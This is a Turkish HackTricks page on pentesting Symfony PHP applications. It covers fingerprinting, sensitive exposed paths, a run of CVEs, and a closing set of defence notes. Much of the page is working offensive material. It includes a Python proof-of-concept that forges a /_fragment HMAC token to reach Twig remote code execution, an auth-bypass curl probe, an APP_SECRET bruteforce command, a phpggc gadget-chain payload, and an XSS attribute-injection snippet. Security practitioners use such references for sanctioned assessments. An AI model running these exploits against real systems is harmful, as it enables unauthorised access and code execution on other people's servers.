Symfony

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Symfony, en yaygın kullanılan PHP frameworklerinden biridir ve kurumsal, e-ticaret ve CMS hedeflerinin (Drupal, Shopware, Ibexa, OroCRM … hepsi Symfony bileşenleri içerir) değerlendirmelerinde düzenli olarak karşınıza çıkar. Bu sayfa, bir Symfony uygulaması keşfettiğinizde kontrol listenizde olması gereken ofensif ipuçlarını, sık yapılan yanlış yapılandırmaları ve yakın tarihli güvenlik açıklarını toplar.

Tarihi not: Ekosistemin büyük bir kısmı hâlâ 5.4 LTS dalını çalıştırıyor (EOL Kasım 2025). Symfony 7.4 Kasım 2025’te yeni LTS oldu ve Kasım 2029’a kadar güvenlik düzeltmeleri alacak. Birçok 2024‑2026 danışma notu sadece mikro sürümlerde düzeltildiği için kesin patch-seviyesini her zaman doğrulayın.


Keşif & Enumarasyon

Finger-printing

  • HTTP yanıt başlıkları: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link veya sf_redirect, sf_session, MOCKSESSID ile başlayan çerezler.
  • Source code leaks (composer.json, composer.lock, /vendor/…) genellikle tam sürümü açığa çıkarır:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Yalnızca Symfony’de bulunan public route’lar:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (güzel hata sayfaları)
  • /app_dev.php, /config.php, /config_dev.php (4.0 öncesi dev front-controller’lar)
  • Wappalyzer, BuiltWith veya ffuf/feroxbuster wordlist’leri: symfony.txt/_fragment, /_profiler, .env, .htaccess arayın.

İlginç dosyalar & endpoint’ler

PathNeden önemli
/.env, /.env.local, /.env.prodSıkça yanlış deploy edilerek APP_SECRET, DB cred’leri, SMTP, AWS anahtarları leaks yapar
/.git, .svn, .hgSource disclosure → kimlik bilgileri + iş mantığı
/var/log/*.log, /log/dev.logWeb-root yanlış yapılandırması stack-trace’leri açığa çıkarır
/_profilerTam istek geçmişi, konfigürasyon, service container, APP_SECRET (≤ 3.4)
/_fragmentESI/HInclude tarafından kullanılan giriş noktasında APP_SECRET bilindiğinde istismar mümkün
/vendor/phpunit/phpunit/phpunitErişilebilir ise PHPUnit RCE (CVE-2017-9841)
/index.php/_error/{code}Finger-print ve bazen exception trace’leri leak eder

Yüksek etki yapan güvenlik açıkları

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 orijinal olarak, ama debug açık bırakıldığında veya .env expose edildiğinde modern hedeflerde hala görülüyor.
  • 32 karakterlik APP_SECRET’i öğrendikten sonra HMAC token oluşturup internal render() controller’ını kullanarak rastgele Twig çalıştırabilirsiniz:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Mükemmel bir yazı ve exploitation script’i: Ambionics blog (References’da linkli).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • 5.4.50, 6.4.29 ve 7.3.7 altı sürümleri etkiler. Path normalizasyonu öndeki /’i düşürebilir ve /admin gibi varsayılan erişim-kontrol kurallarını kırar.
  • Hızlı test: curl -H 'PATH_INFO: admin/secret' https://target/index.php → eğer auth olmadan admin route’larına erişiliyorsa zaafiyeti buldunuz.
  • Düzeltme: symfony/http-foundation’ı veya framework’ü sabit patch seviyesine yükseltmek.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • MSYS2 (Git-Bash, mingw) üzerinde PHP çalıştırıldığında Windows’ta 5.4.51, 6.4.33, 7.3.11, 7.4.5 ve 8.0.5 altı sürümleri etkiler. Process = işaretini quote edemeyip argümanları bozar; rmdir, del gibi destrüktif komutlar istenmeyen dizinleri hedefleyebilir.
  • Eğer bir PHP script yükleyebiliyor veya Composer/CLI helper’larını etkileyebiliyorsanız ve Process çağrılıyorsa, = içeren argümanlar (örn. E:/=tmp/delete) ile path yeniden yazımı oluşturun.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • register_argv_argc=On ve non-SAPI runtime’lar kullanıldığında, crafted query string’ler argv parsing ile APP_ENV/APP_DEBUG’i değiştirebilir. 5.4.46/6.4.14/7.1.7’de patchlendi.
  • Log’larda /?--env=prod veya benzeri kabul edilen girdilere bakın.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • URI’deki özel karakterler tarayıcıların yaptığı gibi aynı şekilde doğrulanmıyordu; bu, saldırgan kontrollü domainlere redirect yapılmasına izin veriyordu. 5.4.46/6.4.14/7.1.7’de düzeltildi.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component 2.25.1 öncesi {{ attributes }}’i escaping olmadan render ediyordu → attribute injection/XSS. Uygulama kullanıcıların component attribute’larını tanımlamasına izin veriyorsa (admin CMS, email templating) script injection’a zincirlenebilir.
  • Her iki paketi de 2.25.1+ sürümlere güncelleyin. Manuel exploit için, custom component’a geçen attribute değerine JS koyun ve rendering’i tetikleyin.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Process bileşeni Windows’ta PATH’den önce çalışma dizinini arıyordu. Yazılabilir web-root’a tar.exe, cmd.exe vs. yükleyebilen bir saldırgan Process’i tetikleyerek (örn. dosya açma, PDF oluşturma) kod çalıştırabilir.
  • 5.4.50, 6.4.14, 7.1.7’de patchlendi.

8. Session-Fixation – CVE-2023-46733

  • Authentication guard girişten sonra mevcut session ID’yi yeniden kullanıyordu. Eğer bir saldırgan cookie’yi kurbandan önce ayarlarsa, kurbandan sonra hesabı ele geçirebilir.

9. Twig sandbox XSS – CVE-2023-46734

  • Kullanıcı kontrollü template’lerin (admin CMS, email builder) expose edildiği uygulamalarda nl2br filtresi sandbox’ı aşmak ve JS inject etmek için kullanılabiliyordu.

10. Symfony 1 gadget chains (legacy uygulamalarda hâlâ bulunur)

  • phpggc symfony/1 system id bir Phar payload üretir; unserialize() sırasında sfNamespacedParameterHolder gibi sınıflar tetiklenince RCE oluşur. Dosya-yükleme endpoint’lerini ve phar:// wrapper’larını kontrol edin.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce zayıf APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

Eğer bin/console php-fpm üzerinden veya direct CLI upload ile erişilebiliyorsa:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

cache directory içinde deserialization gadgets kullanın veya sonraki istekte çalıştırılacak bir kötücül Twig template yazın.

Probe PATH_INFO bypass’ını hızlıca (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Eğer render edilen çıktı özniteliği kaçışsız (unescaped) şekilde yazdırıyorsa, XSS başarılı olur. 2.25.1+ sürümüne yükseltin.


Savunma notları

  1. Debug’ı (APP_ENV=dev, APP_DEBUG=1) production’a asla dağıtmayın; web sunucusu konfigürasyonunda /app_dev.php, /_profiler, /_wdt yollarını engelleyin.
  2. Gizli bilgileri env değişkenlerinde veya vault/secrets.local.php içinde saklayın, belge-kökü (document-root) üzerinden erişilebilen dosyalarda asla saklamayın.
  3. Yama yönetimini zorunlu kılın – Symfony güvenlik duyurularına abone olun ve en azından LTS yama seviyesini koruyun (5.4.x hasta Kasım 2025’e kadar, 6.4 Kasım 2027’ye kadar, 7.4 Kasım 2029’a kadar).
  4. Eğer Windows üzerinde çalışıyorsanız, CVE-2024-51736 & CVE-2026-24739 etkilerini azaltmak için hemen yükseltin veya savunmayı derinleştirmek (defence-in-depth) için open_basedir/disable_functions ekleyin.

Faydalı saldırı amaçlı araçlar

  • ambionics/symfony-exploits – secret-fragment RCE, debugger rotalarını keşfetme.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder_fragment HMAC’ını hesaplamak için küçük yardımcı (Go implementasyonu).

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin